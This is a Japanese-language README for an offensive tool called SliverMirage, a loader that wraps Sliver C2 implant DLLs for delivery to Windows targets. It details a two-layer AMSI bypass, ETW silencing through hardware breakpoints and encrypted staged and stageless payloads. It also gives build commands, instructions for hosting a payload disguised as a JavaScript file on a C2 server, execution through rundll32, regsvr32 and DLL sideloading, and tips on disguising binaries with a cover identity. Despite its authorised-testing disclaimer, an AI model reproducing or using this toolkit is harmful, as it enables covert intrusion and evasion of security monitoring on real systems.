
Sliver C2向けCrystal Palace PICOローダー: 二層AMSIバイパス、ETWサイレンシング、AES-256-CBC暗号化ペイロード、6つの配信バリアント
CrystalSliver のフォークであり、Crystal Palace PICO ローダーを拡張して、二層の AMSI バイパス、ETW の無効化、および Sliver C2 向けの 6 種類の配信バリアントを提供します。
SliverMirage は、Crystal Palace PICO 仮想化を通じて Sliver インプラント DLL をラップし、amsi.dll や ntdll.dll にパッチを当てずに AMSI と ETW を無効化するローダーを介して配信します。
回避スタック:
| レイヤー | 技術 | 詳細 |
|---|---|---|
| AMSI L1 | CLR 文字列破壊 | LdrRegisterDllNotification が clr.dll のロードを傍受し、CLR が GetProcAddress を呼び出す前に .rdata 内の AmsiScanBuffer を破壊します |
| AMSI L2 | VEH + HWBP | AmsiScanBuffer 上のベクタード例外ハンドラが E_INVALIDARG を返します |
| ETW | HWBP | NtTraceControl 上の DR1 が STATUS_SUCCESS を返します |
| ペイロード | AES-256-CBC + XOR | BCrypt による復号、VirtualAlloc(RW) -> VirtualProtect(RX)、RWX なし |
| 仮想化 | Crystal Palace PICO | Sliver DLL は PICO プロセス内で実行され、ユーザーランドの AV からは見えません |
ステージド バリアントは、実行時に Sliver HTTPS Web サイトから暗号化された PICO をダウンロードします。EXE/DLL は小さく (~20 KB)、ディスク上にペイロードを持ちません。
ステージレス バリアントは、コンパイル時に暗号化された PICO を埋め込みます (XOR + AES の二重レイヤー)。ディスク上では大きくなりますが、ビーコンコールバック前のネットワークアクティビティはゼロです。
x86_64-w64-mingw32-gcc (mingw-w64)nasmpython3 + pefile (pip install pefile)opensslbuild.sh によって自動プロビジョニングされます)ビルドスクリプトは、不足している依存関係 (Crystal Palace と Java 17 を含む) を自動プロビジョニングし、DLL -> Crystal Palace PICO -> 暗号化 -> コンパイルという完全なパイプラインを処理します。
# Staged EXE (default)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1
# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless
# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll
# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1
# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1
# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless
オプション:
--dll <path> — Sliver インプラント DLL (必須)--host <ip> — C2 サーバー IP (ステージド形式では必須)--port <port> — C2 ポート (デフォルト: 443)--path <path> — ペイロードダウンロード用の URL パス (デフォルト: /assets/js/vendor.js)--format <fmt> — 出力形式 (デフォルト: exe)--export <name> — カスタム DLL エクスポート名すでに Crystal Palace PICO ブロブがある場合:
# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1
# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin
# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin
# All targets
make clean
build/payload.dat を Sliver HTTPS Web サイトにアップロードします:
sliver > websites add-content --website cover \
--web-path /assets/js/vendor.js \
--content-type application/javascript \
--content build/payload.dat
build/csvchelper.exe (または .dll) をターゲットに配信します。
単一ファイルの配信です。C2 Web サイトのセットアップは不要です。
rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll
または、DLL サイドローディングを使用します (ターゲットアプリケーションが読み込む正当な DLL に合わせて名前を変更します)。
エクスポート: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc
SliverMirage/
loader/ # Crystal Palace PICO loader (from CrystalSliver)
src/ # Loader C sources + draugr ASM
loader.spec # Crystal Palace linker spec
pico.spec # PICO generation spec
src/
stager_remote.c # Staged EXE
stager_stageless.c # Stageless EXE
stager_remote_dll.c # Staged DLL
stager_stageless_dll.c # Stageless DLL
stager_debug.c # Debug EXE (MessageBox diagnostics)
scripts/
gen_payload.py # AES-256-CBC encrypt (staged)
gen_payload_stageless.py # AES + XOR embed (stageless)
dll_to_shellcode.py # sRDI DLL-to-shellcode converter
resources/
resource.rc # Version info (EXE)
resource_dll.rc # Version info (DLL)
manifest.xml # asInvoker manifest
libtcg.x64.zip # TCG library for Crystal Palace
Makefile
build.sh
kernel32, advapi32, bcrypt のみ — すべて正当な Windows APIVirtualProtect ではありませんWinMain エントリポイント、-mwindows — コンソールが一瞬表示されないasInvoker マニフェストが UAC ヒューリスティックを抑制しますresource.rc / resource_dll.rc をあなたのカバーアイデンティティでカスタマイズしてくださいこのプロジェクトは、許可されたセキュリティテスト、研究、教育目的のみを意図しています。ペネトレーションテストを実施するための明示的な書面による許可がある環境でのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は、このソフトウェアの誤用について一切の責任を負いません。
MIT
| 形式 | ファイル | 配信方法 | 実行時に C2接続? |
|---|
exe | ステージド EXE | C2 Web サイト上の EXE + payload.dat | はい (HTTPS) |
exe-stageless | ステージレス EXE | 単一の EXE | いいえ |
dll | ステージレス DLL | 単一の DLL | いいえ |
dll-staged | ステージド DLL | C2 Web サイト上の DLL + payload.dat | はい (HTTPS) |
shellcode | ステージド シェルコード | .bin + payload.dat | はい (HTTPS) |
shellcode-stageless | ステージレス シェルコード | 単一の .bin | いいえ |